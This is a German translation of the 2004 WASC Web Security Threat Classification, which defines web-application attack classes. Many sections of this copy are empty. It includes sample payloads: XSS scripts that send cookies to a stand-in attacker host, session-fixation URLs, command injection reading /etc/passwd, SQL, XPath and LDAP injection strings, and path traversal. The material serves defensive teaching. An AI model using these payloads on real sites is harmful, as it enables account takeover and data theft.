Professional Documents
Culture Documents
Threat Classification
www.webappsec.org
Version: 1.00
Beschreibung
Web Security Threat Classification ist das Ergebnis einer
gemeinschaftlichen Anstrengung, die Bedrohungen (Threat) der
Sicherheit von Webanwendungen einheitlich zu definieren
(klassifizieren und organisieren). Die Mitglieder des Web Application
Security Consortium haben dieses Projekt gegründet, um einen
Industriestandard für den einheitlichen Gebrauch der Begriffe zu
entwickeln und zu verbreiten.
Ziele
• Klassifizierung aller bekannten Angriffe auf Webanwendungen.
• Übereinstimmende Namensgebung für Angriffsklassen.
• Entwicklung einer strukturierten Art und Weise um Angriffsklassen
zu organisieren.
• Erstellung einer Dokumentation, welche eine allgemein übliche
Beschreibung der Angriffsklassen darstellt.
1
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
sichere Programmierung Schwachstellen (Vulnerability) zu vermeiden.
Es kann auch als Richtlinie verwendet werden, um zu überprüfen, ob
die Gestaltung, Entwicklung und Überprüfung einer Website alle
bekannten Bedrohungen berücksichtigt. Bei der Auswahl von
Websicherheitslösungen kann es helfen, die verschiedenen
Lösungsmöglichkeiten zu verstehen.
Die englischen Begriffe „modify“, „change“ und „craft“ wurden meist mit
manipulieren übersetzt; das Verb „exploit“ meist mit „schädigen“,
seltener mit „ausbeuten“.
2
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Inhaltsverzeichnis
BESCHREIBUNG......................................................................................................1
ZIELE.........................................................................................................................1
INHALTSVERZEICHNIS............................................................................................3
ÜBERSICHT..............................................................................................................5
HINTERGRUND.........................................................................................................6
AUTOREN.................................................................................................................7
CHECKLISTE............................................................................................................8
ANGRIFFSKLASSEN..............................................................................................11
1 Authentication.....................................................................................................11
1.1 Brute Force.........................................................................................................11
1.2 Insufficient Authentication..................................................................................12
1.3 Weak Password Recovery Validation.................................................................13
2 Authorization.......................................................................................................15
1.1 Credential/Session Prediction............................................................................15
1.2 Insufficient Authorization....................................................................................17
1.3 Insufficient Session Expiration...........................................................................17
1.4 Session Fixation.................................................................................................19
3 Client-side Attacks..............................................................................................21
1.1 Content Spoofing................................................................................................22
1.2 Cross-site Scripting............................................................................................24
4 Command Execution...........................................................................................27
1.1 Buffer Overflow...................................................................................................27
1.2 Format String Attack...........................................................................................28
1.3 LDAP Injection....................................................................................................30
1.4 OS Commanding................................................................................................33
1.5 SQL Injection......................................................................................................35
1.6 SSI Injection.......................................................................................................39
1.7 XPath Injection...................................................................................................40
5 Information Disclosure.......................................................................................42
3
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
1.1 Directory Indexing..............................................................................................43
1.2 Information Leakage...........................................................................................45
1.3 Path Traversal....................................................................................................48
1.4 Predictable Resource Location..........................................................................51
6 Logical Attacks....................................................................................................52
1.1 Abuse of Functionality........................................................................................52
1.2 Denial of Service................................................................................................55
1.3 Insufficient Anti-automation................................................................................56
1.4 Insufficient Process Validation...........................................................................57
KONTAKT................................................................................................................59
ANHANG.................................................................................................................60
1 HTTP-Response-Splitting...................................................................................60
2 Web Server/Application Fingerprinting.............................................................66
GLOSSAR...............................................................................................................84
3 Gebräuchliche Abkürzungen.............................................................................85
LIZENZ.....................................................................................................................86
4
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Übersicht
Websites sind für viele Firmen umsatzkritische Systeme, die problemlos
arbeiten müssen, um Millionen Euro an Online-Transaktionen pro Tag
zu bewältigen. Dennoch muss der tatsächliche Wert einer Website von
Fall zu Fall für jede Organisation bewertet werden. Es ist schwierig
messbare und nicht messbare Werte nur in monetären Werten
auszudrücken.
5
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Hintergrund
Während der letzten Jahre hat die Web-Sicherheitsindustrie dutzende
von verwirrenden und “künstlichen” Fachbegriffe an- und übernommen,
um Schwachstellen zu beschreiben.
6
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Autoren
7
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Checkliste
Authentication / Authentifizierung
Brute Force
1 Ein Brute-Force-Angriff ist ein automatisierter Prozess, der mittels
Ausprobieren versucht Benutzername, Passwort, Kreditkartennummer oder
Geheimschlüssel einer Person zu erraten.
Insufficient Authentication / Ungenügende Authentifizierung
2 Von Insufficient-Authentication spricht man, wenn eine Website den Zugriff
auf Inhalte oder Funktionen erlaubt, ohne dass sich der Benutzer zuvor
ausreichend authentifiziert hat.
Weak Password Recovery Validation / Schwache Passwort-
Wiederherstellungsfunktion
3 Mit Weak-Password-Recovery-Validation ermöglicht eine Website einem
Angreifer das Passwort eines anderen Benutzers unerlaubt zu erlangen
oder gar zu ändern.
Authorization / (Zugangs-)Berechtigung
Credential/Session Prediction / Berechtigung vorhersagen
4 Credential/Session-Prediction ist eine Methode, um die Session eines
Website-Benutzers zu übernehmen oder sich als diesen Benutzer
ausgeben.
Insufficient Authorization / Ungenügende Berechtigung
5 Man spricht von Insufficient-Authorization, wenn eine Website den Zugriff
auf vertraulichen Inhalt oder Funktionen erlaubt, die eigentlich erhöhte
Zugriffsrechte erfordern.
Insufficient Session Expiration / Ungenügender Sessionablauf
6 Mit Insufficient-Session-Expiration ist gemeint, dass eine Website einem
Angreifer erlaubt alte Session-Berechtigungen oder die Session-IDs
weiterzubenutzen.
Session Fixation / Session-Fixation
7 Session-Fixation ist eine Angriffsmethode, die die Session-ID eines
Benutzers auf einen festen Wert setzt.
Client-side Attacks / Clientseitige Angriffe
Content Spoofing / Inhaltsmanipulation
8 Content-Spoofing ist eine Angriffmethode, die einem Benutzer vortäuscht,
dass ein bestimmter Inhalt, der auf einer Website erscheint, legitim und nicht
von einer externen Quelle ist.
8
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Cross-site Scripting / Cross-Site-Scripting
9 Cross-Site-Scripting (XSS) ist eine Angriffsmethode, mit der ein Angreifer
ausführbaren Code über eine Website verteilt, der dann im Browser des
Anwenders ausgeführt wird.
Command Execution / Befehlsausführung
Buffer Overflow / Pufferüberlauf
10 Angriffe, die Buffer-Overflow-Schwachstellen ausnutzen, überschreiben
Teile des Speichers, um den Programmablauf einer Anwendung zu ändern.
Format String Attack / Format-String-Angriff
11 Format-String-Angriffe ändern den Programmablauf dadurch, dass sie die
Fähigkeiten der „string formatting library” ausnutzen, um andere Bereiche
des Programmspeichers zu manipulieren.
LDAP Injection / LDAP-Injection
12 LDAP-Injection ist eine Angriffsmethode, die Websites angreift, die LDAP-
Statements aus Benutzereingaben konstruieren.
OS Commanding / OS-Commanding
13 OS-Commanding ist eine Angriffsmethode, die Websites angreift, die
Betriebsystembefehle aus Benutzereingaben konstruieren.
SQL Injection / SQL-Injection
14 SQL-Injection ist eine Angriffsmethode, die Websites angreift, die SQL-
Anfragen aus Benutzereingaben konstruieren.
SSI Injection / SSI-Injection
15 SSI-Injection (Server-Side-Include) ist eine serverseitige Angriffsmethode,
die einem Angreifer erlaubt, einer Webanwendung Code zu senden, der
dann später lokal auf dem Webserver ausgeführt wird.
XPath Injection / XPath-Injection
16 XPath-Injection ist eine Angriffsmethode, die Websites angreift, die XPath-
Anfragen von Benutzereingaben konstruieren.
Information Disclosure / Informationsoffenlegung
Directory Indexing / Verzeichnislisting
17 Directory-Indexing ist eine Funktion des Webservers, die, wenn die übliche
Standarddatei (index.html, home.html, default.htm) fehlt, automatisch alle
Dateien im Verzeichnis zeigt,
Information Leakage / Informationsleck, Informationslücke
18 Eine Information-Leakage-Schwachstellle liegt vor, wenn eine Website
sensible Daten (z. B. Kommentare der Entwickler oder Fehlermeldungen),
die einem Angreifer helfen das System zu missbrauchen, ausgibt.
9
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Path Traversal / Path-Traversal
19 Mit der Path-Traversal-Angriffstechnik erhält man Zugriff auf Dateien,
Verzeichnisse und Befehle, die potentiell außerhalb des DocumentRoot-
Verzeichnisses des Webservers liegen.
Predictable Resource Location / Vorhersagbare Quellen
20 Predictable-Resource-Location ist eine Angriffsmethode, um versteckten
Inhalt oder versteckte Funktionalität einer Website zu finden.
Logical Attacks / Logische Angriffe
Abuse of Functionality /
21 Abuse-of-Functionality ist eine Angriffsmethode, die die Eigenschaften und
Funktionen der Website selbst benutzt, um Zugangskontrollen zu
verbrauchen, zu umgehen oder auszutricksen
Denial of Service / Überflutung
22 Denial-of-Service (DoS) ist eine Angriffstechnik, die das Ziel verfolg, die
üblichen Benutzeraktivitäten einer Website zu verhindern.
Insufficient Anti-automation / Ungenügende Anti-Automation
23 Von ungenügender Anti-Automation spricht man, wenn eine Website einem
Angreifer erlaubt Prozesse zu automatisieren, die nur manuell ausgeführt
werden sollen.
Insufficient Process Validation / Ungenügende Prozessprüfung
24 Von ungenügender Prozessvalidation spricht man, wenn eine Website
einem Angreifer erlaubt, den vorgesehenen Anwendungsablauf zu umgehen
.
10
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Angriffsklassen
1 Authentication
Beispiel
Benutzername = Jon
Passwort = 12345678
Referenzen
Beispiel
Da die Benutzer oder Entwickler nie erwartet haben, dass jemand diese
nicht verlinkte Seite sieht, wurde die Implementierung einer
Authentifizierung für diese Seite meist übersehen.
Wenn ein Angreifer dadurch direkt auf diese Seiten zugreifen kann,
dann erhält er dadurch auch den vollen administrativen Zugriff auf der
Website.
Passwort-Wiederherstellungssysteme (Password-Recovery-Systems)
können durch Brute-Force-Angriffe, inhärente Systemschwächen oder
leicht erratbare Geheimfragen umgangen werden.
Beispiel
Informationsprüfung
Viele Websites verlangen von Benutzern nur die Angabe ihrer E-Mail-
Adresse in Kombination mit ihrer Adresse und Telefonnummer. Diese
Information kann leicht z. B. von einer Vielzahl von Online-
Telefonverzeichnissen erhalten werden. D. h. dass diese Information
nicht sehr sicher ist. Weiter kann diese Information durch andere
Methoden wie Cross-Site-Scripting und Phishing ermittelt werden.
Password Hints / Passwort-Hinweise
Referenzen
2 Authorization
Viele Websites sind so konzipiert, dass sie beim Aufbau der Verbindung
eines Benutzers zur Website den Benutzer authentifizieren und seine
Aktivität verfolgen. Dazu muss ein Benutzer der Website seine Identität
15
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
nachweisen. Üblicherweise durch Angabe von Benutzername/Passwort
(credentials). Damit diese vertraulichen Daten (credentials) nicht mit
jeder Transaktion hin und her geschickt werden, verwenden Websites
eine eindeutige „Session-ID“ um den Benutzer anhand dieser als
authentifiziert zu erkennen. Bei der weiteren Kommunikation zwischen
Benutzer und Website wird die Session-ID als „Beweis“ einer
authentifizierten Session immer mitgeschickt. Wenn es einem Angreifer
gelingt diese Session-ID eines anderen Benutzers zu erraten oder
vorherzusagen, dann sind betrügerische Aktivitäten möglich.
Beispiel
Referenzen
16
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
1.2 Insufficient Authorization
Beispiel
Referenzen
17
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Da HTTP ein zustandsloses Protokoll ist, benutzen Websites
normalerweise Session-IDs um einen Benutzer von Request zu
Request eindeutig zu identifizieren. Folglich muss jede Session-ID
vertraulich behandelt werden, so dass verhindert wird, dass mehrere
Benutzer denselben Account benutzen. Eine gestohlene Session-ID
kann benutzt werden, um den Account eines anderen Benutzers
anzusehen oder betrügerische Transaktionen mit diesem auszuführen.
Beispiel
Referenzen
„Dos and Don’ts of Client Authentication on the Web”, Kevin Fu, Emil
18
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer
Science
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
Beispiel
http://example/<script>document.cookie="sessionid=1
234;%20domain=.example.dom”;</script>.idc
Diese Technik ist ähnlich der vorherigen, aber auch wirksam wenn
Gegenmaßnahmen für Cross-Site-Scripting z. B. HTML-script-Tags
verhindern, nicht aber meta-Tags:
http://example/<meta%20http-equiv=Set-Cookie%20
content="sessionid=1234;%20domain=.example.dom”>.id
c
20
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
• Einbruch in einen Webserver der Domain (z. B. bei einem schlecht
gewarteten WAP-Server).
• Den DNS-Server des Benutzers vergiften, insbesondere wird der
Webserver des Angreifers eingetragen.
• Installation eines schädlichen Webserver in der Domain (z. B. auf
einer Workstation in einer Windows-2000-Domain, dort sind alle
Workstations auch in der DNS-Domain).
• Ausnutzung eines HTTP-Response-Splitting-Angriffs.
URL-Beispiel:
http://example/<script>document.cookie="sessionid=1
234;%20
Expires=Friday,%201Jan2010%2000:00:00%20GMT”;</scri
pt>.idc
Referenzen
3 Client-side Attacks
Code-Beispiel:
<frame src=”http://foo.example/file.html”>
http://foo.example/page?frame_src=http://foo.exampl
e/file.html
frame_src=http://attacker.example/spoof.html
22
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Der Angriff nutzt das Vertrauensverhältnis, welches zwischen dem
Benutzer und der Website aufgebaut ist, aus, indem gefälschte Seiten
aufgebaut werden, die dann z. B. Loginformulare, Verfälschung oder
falsche Zeitungsmeldungen usw. enthalten.
Beispiel
http://foo.example/pr?pg=http://foo.example/pr/0101
2003.html
Code-Beispiel:
<HTML>
<FRAMESET COLS=”100, *”>
<FRAME NAME=”pr_menu” SRC=”menu.html”>
<FRAME NAME=”pr_content”
SRC=”http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
http://foo.example/pr?pg=http://attacker.example/sp
oofed_press_release.html
23
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
<HTML>
<FRAMESET COLS=”100, *”>
<FRAME NAME=”pr_menu” SRC=”menu.html”>
<FRAME NAME=”pr_content” SRC=”
http://attacker.example/spoofed_press_release.html”>
</FRAMESET>
</HTML>
Referenzen
Beispiel
Beständiger Angriff
<SCRIPT>
document.location='http://attackerhost.example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Nicht-beständiger Angriff
25
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Beispiel einer Portal-URL:
http://portal.example/index.php?sessionid=12312312&
username=Joe
In obigem Beispiel sehen wir, dass der Benutzername „Joe” in der URL
gespeichert wird. Die Seite zeigt dann eine „Willkommen Joe”
Nachricht. Wenn es einem Angreifer gelingt, den Benutzername in der
URL so zu manipulieren, dass JavaScript zum Diebstahl des Cookies
zur Ausführung kommt, dann kann Kontrolle über den Benutzer-Account
erhalten werden.
http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
http://portal.example/index.php?sessionid=12312312&
username=<script>document.location='http://attacker
host.example/cgi-
bin/cookiesteal.cgi?'+document.cookie</script>
Referenzen
4 Command Execution
Referenzen
„Smashing The Stack For Fun And Profit”, By Aleph One - Phrack 49
http://www.insecure.org/stf/smashstack.txt
Beispiel
printf(emailAddress);
Referenzen
30
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Beispiel
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim userName
line 5: Dim filter
line 6: Dim ldapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10: userName=Request.QueryString("user")
line 11:
line 12: if( userName = "" ) then
line 13: Response.Write("<b>Invalid request. Please
specify a valid user name</b><br>")
line 14: Response.End()
line 15: end if
line 16:
line 17:
line 18: filter = "(uid=" + CStr(userName) + ")" '
searching for the user entry
line 19:
line 20:
line 21: 'Creating the LDAP object and setting the base
dn
line 22: Set ldapObj =
Server.CreateObject("IPWorksASP.LDAP")
line 23: ldapObj.ServerName = LDAP_SERVER
31
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
line 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"
line 25:
line 26: 'Setting the search filter
line 27: ldapObj.SearchFilter = filter
line 28:
line 29: ldapObj.Search
line 30:
line 31: 'Showing the user information
line 32: While ldapObj.NextResult = 1
line 33: Response.Write("<p>")
line 34:
line 35: Response.Write("<b><u>User information for
: " + ldapObj.AttrValue(0) + "</u></b><br>")
line 36: For i = 0 To ldapObj.AttrCount -1
line 37: Response.Write("<b>" +
ldapObj.AttrType(i) +
"</b> : " + ldapObj.AttrValue(i) + "<br>" )
line 38: Next
line 39: Response.Write("</p>")
line 40: Wend
line 41: %>
line 42: </body>
line 43: </html>
Beim genaueren Betrachten des Codes sehen wir in Zeile 10, das die
Variable userName mit dem Parameter user initialisiert wird und dann
schnell geprüft wird, ob der Wert leer ist. Wenn der Wert nicht leer ist,
dann wird userName benutzt, um die Variable filter in Zeile 18 zu
initialisieren. Diese neue Variable wird direkt benutzt, um die LDAP-
Abfrage zu konstruieren, die im Aufruf von SearchFilter in Zeile 27
erfolgt. In diesem Szenario hat der Angreifer volle Kontrolle darüber,
32
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
was vom LDAP-Server abgefragt wird und er erhält das Ergebnis der
Abfrage, wenn die Zeilen 32 bis 40 im Code durchlaufen werden,
welche alle Ergebnisse mit Attributen anzeigen.
Beispiel
http://example/ldapsearch.asp?user=*
Referenzen
„Understanding LDAP”
http://www.redbooks.ibm.com/redbooks/SG244986.html
„LDAP Resources”
http://ldapman.org/
1.4 OS Commanding
33
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Beispiel
http://example/cgi-
bin/showInfo.pl?name=John&template=tmp1.txt
http://example /cgi-
bin/showInfo.pl?name=John&template=/bin/ls|
Shell-Befehl ausführen:
34
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
exec("ls -la $dir",$lines,$rc);
http://example/directory.php?dir=%3Bcat%20/etc/pass
wd
Als Ergebnis wird man den Inhalt der Datei /etc/passwd erhalten.
Referenzen
Beispiel
http://example/article.asp?ID=2+union+all+select+na
me+from+sysobjects
Das sagt dem Angreifer, dass er die richtige Anzahl von Spalten im
SQL-Befehl angeben muss, damit es funktioniert.
Blind-SQL-Injection
Folgende URL:
http://example/article.asp?ID=2+and+1=1
http://example/article.asp?ID=2
Folgende URL:
37
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
http://example/article.asp?ID=2+and+1=0
Sobald der Angreifer herausgefunden hat, dass eine Website mit Blind-
SQL-Injection verwundbar ist, kann er diese Schwachstelle einfacher
ausnutzen, in manchen Fällen durch Verwendung normaler SQL-
Injection.
Referenzen
Wenn eine HTML-Seite ausgeliefert wird, wird die Seite vom Webserver
zuerst analysiert und Server-Side-Include-Befehle werden ausgeführt
bevor sie dem Benutzer angezeigt werden. In einigen Fällen (z. B.
Nachrichten-Boards, Gästebücher oder Content-Management-
Systemen) wird die Webanwendung Daten, die durch den Benutzer
übergeben wurden, in die Seite einbauen.
Beispiel
<!--#INCLUDE VIRTUAL="/web.config"-->
39
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Referenzen
XPath 1.0 ist eine Sprache, die benutzt wird, um auf Teile eines XML-
Dokuments zu verweisen. Sie kann von Anwendungen benutzt werden,
um ein XML-Dokument direkt abzufragen. Oder sie kann Teil einer
größeren Operation mit einem XML-Dokument wie z. B. eine XSLT-
Transformation oder Teil einer XQuery für das XML-Dokument sein.
Die Syntax von XPath ist sehr ähnlich zu SQL-Abfragen und es ist
tatsächlich möglich mit XPath SQL-ähnliche Anfragen an ein XML-
Dokument zu stellen. Nehmen wir z. B. ein XML-Dokument welches
Elemente mit Namen user enthält, wobei jedes weitere 3 Elemente
-name, password und account- enthält. Der folgende XPath-Ausdruck
liefert die account-Nummer (oder einen leeren String falls der
Benutzer nicht existiert) des Benutzers, dessen Name „jsmith” ist und
dessen Passwort „Demo1234” ist:
string(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
Beispiel
Nehmen wir an, dass die Webanwendung XPath benutzt, um mit Hilfe
eines XML-Dokuments die Account-Nummer eines Benutzers
abzufragen, dessen Name und Passwort vom Client kommen. Eine
solche Anwendung wird diese Werte direkt in die XPath-Abfrage
einbauen, wobei sie dann eine Schwachstelle erzeugt. Beispiel
(Annahme: Microsoft ASP.NET und C#):
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document –
// login failed.
} else {
// account found -> Login succeeded.
// Proceed into the application.
}
Wenn dieser Code benutzt wird, dann kann ein Angreifer XPath-
Ausdrücke injizieren, z B. durch folgende Angabe als Benutzername:
41
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
' or 1=1 or ''='
Dies führt dazu, dass sich die Semantik der originalen XPath-Anfrage
so ändert, dass sie immer die erste account-Nummer des XML-
Dokuments liefert. Die Abfrage wird wie folgt aussehen:
Das ist identisch zu (da das Prädikat für alle Elemente true wird):
string(//user/account/text())
Darum resultiert der Angriff darin, dass der Angreifer, obwohl er keinen
gültigen Benutzernamen oder kein gültiges Passwort eingegeben hat,
(als der erste Benutzer, welcher im XML-Dokument gelistet ist)
angemeldet wird.
Referenzen
5 Information Disclosure
42
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Systemspezifische Informationen beinhalten die Softwaredistribution,
Versionsnummern und Patch-Levels. Weitere Informationen kann der
Speicherort von Backupdateien und temporären Dateien sein. In den
meisten Fällen ist die Offenlegung dieser Informationen für den Betrieb
der Website nicht nötig. Die meisten Websites legen einige Daten offen,
es ist allerdings zu empfehlen, so wenig Daten wie möglich
preiszugeben. Je mehr Informationen ein Angreifer über die Website
erhält, umso einfacher wird es, das System zu schädigen.
Wenn ein Webserver den Inhalt eines Verzeichnisses zeigt, dann kann
das Listing Informationen enthalten, die nicht für die Öffentlichkeit
bestimmt sind. Oft vertrauen Webadministratoren auf „Security Through
Obscurity” in der Annahme, dass wenn es keine Hyperlinks zu diesen
Dokumenten gibt, diese auch nicht gefunden werden, bzw. niemand
nach ihnen suchen kann. Diese Annahme ist falsch. Heutige
Schwachstellen-Scanner, wie z. B. Nikto, können dynamisch
zusätzliche Verzeichnisse und Dateien, die bei vorangegangenen Tests
gefunden wurden, in ihre Scans einbinden. Durch Analyse der
/robots.txt -Datei und/oder dem Inhalt von Verzeichnislistings,
können die Schwachstellen-Scanner dann den Webserver nach
weiteren neuen Daten fragen. Obwohl Directory-Indexing eigentlich
harmlos ist, kann es sich um ein Informationsleck handeln, die einem
Angreifer mit Informationen versorgt, um weitere Angriffe gegen das
43
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
System auszuführen.
Beispiel
44
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Aus Sicht des Angreifers ist der HTTP-Request identisch zum
vorherigen. Es wird nach einem Verzeichnis gefragt, um zu sehen,
ob man den gewünschten Inhalt erhält. Es interessiert nicht
„warum” der Webserver so konfiguriert wurde.
2) Einige Teile des Webservers erlauben ein Directory-Indexing auch
dann, wenn es in der Konfigurationsdatei deaktiviert ist oder eine
entsprechende Index-Datei vorhanden ist. Dies ist das einzig
gültige Szenario zur Ausnutzung des Directory-Indexing. Es
wurden unzählige Schwachstellen auf vielen Webservern
gefunden, die ein Directory-Indexing liefern, wenn ein spezieller
HTTP-Request gesendet wird.
3) Die Googles-Cache-Datenbank kann historische Daten enthalten,
die Verzeichnislistings von früheren Scans einer bestimmten
Website enthalten.
Referenzen
Directory-Indexing-Vulnerabilities-Alerts
http://www.securityfocus.com/bid/1063
http://www.securityfocus.com/bid/6721
http://www.securityfocus.com/bid/8898
45
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
1.2 Information Leakage
Ein Informationsleck kann auch sein, wenn Daten, die als vertraulich
erachtet werden, nicht ausreichend durch die Website geschützt
werden. Diese Daten können Kontonummern, Benutzer-IDs,
Führerscheinnummer, Passnummer, Versicherungsnummer, usw. und
benutzerspezifische Daten (Kontostand, Adresse und
Transaktionshistorie) sein.
Beispiel
Kommentare im HTML-Code:
Ausführliche Fehlermeldung:
47
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException: Syntax error
(missing operator) in query expression 'username = '''
and password = 'g''. at System.Data.OleDb.OleDbCommand.
ExecuteCommandTextErrorHandling ( Int32 hr) at
System.Data.OleDb.OleDbCommand.
ExecuteCommandTextForSingleResult ( tagDBPARAMS dbParams,
Object& executeResult) at
Referenzen
Obfuscators :JAVA
http://www.cs.auckland.ac.nz/~cthombor/Students/hlai/hongying.pdf
48
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
1.3 Path Traversal
Die meisten Websites beschränken den Zugriff für den Benutzer auf
einen speziellen Teil des Dateisystems, üblicherweise „web document
root” oder „CGI root”-Verzeichnis genannt. Diese Verzeichnisse
enthalten die Dateien, die für den Zugriff durch den Benutzer bestimmt
sind, und die Dateien, deren Ausführung nötig ist, um die Funktionalität
der Webanwendung zu gewährleisten. Für den Dateizugriff und die
Ausführung von Befehlen irgendwo auf dem Dateisystem benutzen
Path-Traversal-Angriffe spezielle Zeichenfolgen.
http://example/../../../../../some/file
http://example/..%255c..%255c..%255csome/file
http://example/..%u2216..%u2216some/file
Original: http://example/foo.cgi?home=index.htm
Angriff: http://example/foo.cgi?home=foo.cgi
Original: http://example/scripts/foo.cgi?page=menu.txt
Angriff:
http://example/scripts/foo.cgi?page=../scripts/foo.cg
i%00txt
Referenzen
Beispiel
/admin/
/backup/
/logs/
/vulnerable_file.cgi
/test.bak
/test
6 Logical Attacks
52
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Ganz allgemein gesagt ziehen alle wirksamen Angriffe gegen
Computer-basierte Systeme Abuse-of-Functionality nach sich. Genauer
gesagt beschreibt diese Definition einen Angriff, der eine nützliche
Webanwendung, ohne oder nur durch kleine Veränderungen der
ursprünglichen Funktion, für einen boshafte Zweck missbraucht.
Beispiel
Ein Angreifer musste nur eine URL basteln, die die gewünschte E-Mail
als Parameter hat, und damit einen HTTP-GET-Request zum CGI-
Skript senden, z. B.:
http://example/cgi-bin/FormMail.pl?recipient=
email@victim.example&message=you%20got%20spam
Referenzen
„CVE-1999-0800”
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800
Denial-of-Service (DoS) ist eine Angriffstechnik, die das Ziel verfolg, die
üblichen Benutzeraktivitäten einer Website zu verhindern. DoS-Angriffe
finden normalerweise auf der Netzwerkebene (network layer) statt, sind
aber auch auf der Anwendungsebene (application layer) möglich. Diese
schädlichen Angriffe können Erfolg haben, indem sie das System dazu
bringen, kritische Ressourcen aufzubrauchen, oder indem sie eine
Schwachstelle ausnutzen oder Abuse-of-Functionality erreicht werden
kann.
Beispiel
Nehmen wir eine Website einer Krankenkasse, die einen Bericht mit
dem Krankenblatt erzeugt. Für jede Anforderung eines Berichts, fragt
die Website die Datenbank ab, um alle Berichte, die zu einer einzigen
Versicherungsnummer passen, zu erhalten. Angenommen dass
hunderttausende Berichte in der Datenbank (für alle Benutzer)
gespeichert sind, dann muss der Benutzer 3 Minuten warten, um sein
eigenes Krankenblatt zu erhalten. Um die passenden Einträge zu finden
55
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
lastet der Datenbankserver während dieser 3 Minuten die CPU zu 60%
aus.
Referenzen
„Vorras Antibot”
http://www.vorras.com/products/antibot/
57
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Damit Prozesse mit mehreren Schritten richtig funktionieren, müssen
Websites den Zustand (state) des Benutzers festhalten, den der
Benutzer gerade im Anwendungsablauf hat. Websites „verfolgen“
(track) einen Benutzerzustand mit Hilfe von Cookies oder hidden-
Form-Feldern. Auch wenn dieses Tracking clientseitig im Browser
gespeichert wird, muss die Integrität dieser Daten überprüft werden.
Wenn nicht, dann kann ein Angreifer den erwarteten Anwendungsablauf
durch Änderung des aktuellen Zustandswertes umgehen.
Beispiel
Referenzen
„Dos and Don’ts of Client Authentication on the Web”, Kevin Fu, Emil
Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer
Science
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
58
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Kontakt
Web Application Security Consortium http://www.webappsec.org
59
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Anhang
Es gibt verschiedene Angriffs-Methoden auf Webanwendungen, die wir
zur Zeit noch nicht klassifiziert haben. Im Anhang findet sich eine
Zusammenfassung, die einige dieser Methoden beschreibt. Diese
Punkte werden in Version 2 der Threat Classification systematisch
behandelt.
1 HTTP-Response-Splitting
Beispiel
62
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>
